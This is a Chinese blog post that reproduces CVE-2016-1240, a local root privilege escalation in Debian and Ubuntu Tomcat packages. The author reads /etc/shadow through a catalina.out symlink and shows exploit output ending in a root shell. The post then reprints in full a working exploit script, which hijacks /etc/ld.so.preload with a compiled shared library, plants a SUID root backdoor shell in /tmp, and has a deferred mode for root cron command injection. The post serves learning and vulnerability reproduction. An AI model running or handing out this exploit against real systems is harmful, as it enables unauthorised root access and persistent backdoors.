美文网首页七星网络安全网络安全实验室
Tomcat最新本地权限提升漏洞简单复现

Tomcat最新本地权限提升漏洞简单复现

作者: rivir | 来源:发表于2016-10-09 08:03 被阅读1276次

    原文链接:http://www.freebuf.com/vuls/115862.html

    今天才早上得知Tomcat爆新漏洞,虽然不怎么会刷洞,但好奇得我还是本地搭建简单复现下漏洞,第一次复现了这种高大上的漏洞,心里还是挺激动得,哈哈,记录下来

    先看下漏洞原理:

    在Debian系统的Linux上管理员通常利用apt-get进行包管理,deb包是Unixar的标准归档,讲包文件信息以及包内容,经过gzip和tar打包而成。
    
    该问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本,该脚本位于/etc/init.d/tomcat*, 跟踪代码如下:
    
    171  # Run the catalina.sh script as a daemon
    172  set +e 
    
    173  touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
    174 chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
    175 start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \
    176 -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \
    177 -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"
    178 status="$?"
    179 set +a -e
    在174行,Tomcat服务在启动时,会将log文件catalina.out的所有者改为Tomcat用户, 而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件。
    

    首先注意影响范围:

    Tomcat 8 <= 8.0.36-2
    
    Tomcat 7 <= 7.0.70-2
    
    Tomcat 6 <= 6.0.45+dfsg-1~deb8u1
    
    受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响。
    

    正文

    • 我自己用的ubuntu实验的,先安装上tomcat6
        sudo apt-get install tomcat6
    

    如果提示无法定位软件包,试试sudo apt-get update下,

    后话:本来想在kali下复现的,然后自己在官网上下的tomcat6的安装包,解压后直接使用(额,这tm也太快了)发现/etc/init.d目录下根本没有tomcat这个文件,启动方式直接启动startup.sh脚本直接启动的,搞了半天,发现不对劲,貌似deb包安装Tomcat安装的程序才会出现这样的漏洞,看来应该要用apt-get install这个命令吧,但在kali下执行这条命令无法定位软件包,貌似是阿里源的问题(更新过的)

    • 安装好了后会自动创建tomcat6这个用户

    再修改下tomcat6用户的权限,默认是不允许登陆的

    sudo usermod -s /bin/bash -G sudo tomcat6
    passwd tomcat6 #设置密码,不设置的话可以无法sudo提升权限
    su -l tomcat6 #登陆tocmat6用户
    

    先来简单验证下:

    切换到catalina.out的目录

    cd /var/log/tomcat6
    ln -fs /etc/shadow /var/log/tomcat6/catalina.out
    head cataline.out
    

    此时应该是禁止读取cataline.out的内容的
    需要重启下tomcat

    sudo service tomcat6 restart
    

    重启tomcat需要root权限,这是为什么需要给tomcat6用户添加进sudo组的原因

    在直接head cataline.out命令,就会发现已经可以读写到/etc/shadow里的内容了


    使用poc提权

    touch poc.sh #注意都是以tomcat6用户的身份执行命令的
    vim poc.sh
    #将Poc内容粘贴进来
    chmod 777 poc.sh #将脚本设置为可执行
    

    最后以tomcat6用户的身份来执行脚本

    ./poc.sh /var/log/tomcat6/catalina.out
    

    发现突然卡住了一样,懵了下子才反应过来还需要等待重启,md智障

    在打开另一个终端,重启下tomcat

    sudo service tomcat6 restart
    

    发现脚本已经成功被执行了

    tomcat6@lj:/var/log/tomcat6$ ./poc.sh /var/log/tomcat6/catalina.out
     
    Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
    CVE-2016-1240
    
    Discovered and coded by: 
    
    Dawid Golunski 
    http://legalhackers.com 
    
    [+] Starting the exploit in [active] mode with the following privileges: 
    uid=117(tomcat6) gid=126(tomcat6) 组=126(tomcat6),27(sudo)
    
    [+] Target Tomcat log file set to /var/log/tomcat6/catalina.out
    
    [+] Compiling the privesc shared library (/tmp/privesclib.c)
    
    [+] Backdoor/low-priv shell installed at: 
    -rwxr-xr-x 1 tomcat6 tomcat6 1017016 10月  8 22:51 /tmp/tomcatrootsh
    
    [+] Symlink created at: 
    lrwxrwxrwx 1 tomcat6 tomcat6 18 10月  8 22:51 /var/log/tomcat6/catalina.out -> /etc/ld.so.preload
    
    [+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
    You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
     
    
    [+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: 
    -rw-r--r-- 1 tomcat6 root 19 10月  8 22:51 /etc/ld.so.preload
    
    [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
    
    [+] The /etc/ld.so.preload file now contains: 
    /tmp/privesclib.so
    
    [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
    
    [+] Rootshell got assigned root SUID perms at: 
    -rwsrwxrwx 1 root root 1017016 10月  8 22:51 /tmp/tomcatrootsh
    
    Please tell me you're seeing this too ;)
      
    
    [+] Executing the rootshell /tmp/tomcatrootsh now! 
    
    tomcatrootsh-4.3# whoami
    root
    tomcatrootsh-4.3# id
    uid=117(tomcat6) gid=126(tomcat6) euid=0(root) 组=0(root),27(sudo),126(tomcat6)
    

    最后退出shell用exit退出即可,完毕!

    总结:1)可以看到,这个提权方法还是相对有些鸡肋的,需要等待tomcat6重启才可以获取root权限
    2)收获很大,继续加油

    附上poc

    #!/bin/bash
    #
    # Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
    #
    # CVE-2016-1240
    #
    # Discovered and coded by:
    #
    # Dawid Golunski
    # http://legalhackers.com
    #
    # This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
    # Debian-based distros including Debian, Ubuntu etc.
    # It allows attackers with a tomcat shell (e.g. obtained remotely through a 
    # vulnerable java webapp, or locally via weak permissions on webapps in the 
    # Tomcat webroot directories etc.) to escalate their privileges to root.
    #
    # Usage:
    # ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
    #
    # The exploit can used in two ways:
    #
    # -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
    # gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
    # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
    # a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
    #
    # -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
    # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
    # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
    # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
    # then add arbitrary commands to the file which will be executed with root privileges by 
    # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
    # Ubuntu/Debian Tomcat installations).
    #
    # See full advisory for details at:
    # http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
    #
    # Disclaimer:
    # For testing purposes only. Do no harm.
    #
    
    BACKDOORSH="/bin/bash"
    BACKDOORPATH="/tmp/tomcatrootsh"
    PRIVESCLIB="/tmp/privesclib.so"
    PRIVESCSRC="/tmp/privesclib.c"
    SUIDBIN="/usr/bin/sudo"
    
    function cleanexit {
        # Cleanup 
        echo -e "\n[+] Cleaning up..."
        rm -f $PRIVESCSRC
        rm -f $PRIVESCLIB
        rm -f $TOMCATLOG
        touch $TOMCATLOG
        if [ -f /etc/ld.so.preload ]; then
            echo -n > /etc/ld.so.preload 2>/dev/null
        fi
        echo -e "\n[+] Job done. Exiting with code $1 \n"
        exit $1
    }
    
    function ctrl_c() {
            echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
        cleanexit 0
    }
    
    #intro 
    echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
    echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
    
    # Args
    if [ $# -lt 1 ]; then
        echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
        exit 3
    fi
    if [ "$2" = "-deferred" ]; then
        mode="deferred"
    else
        mode="active"
    fi
    
    # Priv check
    echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
    id | grep -q tomcat
    if [ $? -ne 0 ]; then
        echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
        exit 3
    fi
    
    # Set target paths
    TOMCATLOG="$1"
    if [ ! -f $TOMCATLOG ]; then
        echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
        exit 3
    fi
    echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"
    
    # [ Deferred exploitation ]
    
    # Symlink the log file to /etc/default/locale file which gets executed daily on default
    # tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
    # Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
    # restarted and file owner gets changed.
    if [ "$mode" = "deferred" ]; then
        rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
        if [ $? -ne 0 ]; then
            echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
            cleanexit 3
        fi
        echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
        echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
        echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
        echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
        echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)
     \n\n"
        exit 0
    fi
    
    # [ Active exploitation ]
    
    trap ctrl_c INT
    # Compile privesc preload library
    echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
    cat <<_solibeof_>$PRIVESCSRC
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include <dlfcn.h>
    uid_t geteuid(void) {
        static uid_t  (*old_geteuid)();
        old_geteuid = dlsym(RTLD_NEXT, "geteuid");
        if ( old_geteuid() == 0 ) {
            chown("$BACKDOORPATH", 0, 0);
            chmod("$BACKDOORPATH", 04777);
            unlink("/etc/ld.so.preload");
        }
        return old_geteuid();
    }
    _solibeof_
    gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
    if [ $? -ne 0 ]; then
        echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
        cleanexit 2;
    fi
    
    # Prepare backdoor shell
    cp $BACKDOORSH $BACKDOORPATH
    echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
    
    # Safety check
    if [ -f /etc/ld.so.preload ]; then
        echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
        cleanexit 2
    fi
    
    # Symlink the log file to ld.so.preload
    rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
    if [ $? -ne 0 ]; then
        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
        cleanexit 3
    fi
    echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    
    # Wait for Tomcat to re-open the logs
    echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
    echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
     "
    while :; do 
        sleep 0.1
        if [ -f /etc/ld.so.preload ]; then
            echo $PRIVESCLIB > /etc/ld.so.preload
            break;
        fi
    done
    
    # /etc/ld.so.preload file should be owned by tomcat user at this point
    # Inject the privesc.so shared library to escalate privileges
    echo $PRIVESCLIB > /etc/ld.so.preload
    echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
    echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
    echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
    
    # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
    echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
    sudo --help 2>/dev/null >/dev/null
    
    # Check for the rootshell
    ls -l $BACKDOORPATH | grep rws | grep -q root
    if [ $? -eq 0 ]; then 
        echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
        echo -e "\n\033[94mPlease tell me you're seeing this too ;)
      \033[0m"
    else
        echo -e "\n[!] Failed to get root"
        cleanexit 2
    fi
    
    # Execute the rootshell
    echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
    $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
    $BACKDOORPATH -p
    
    # Job done.
    cleanexit 0
    

    相关文章

      网友评论

        本文标题:Tomcat最新本地权限提升漏洞简单复现

        本文链接:https://www.haomeiwen.com/subject/qqspyttx.html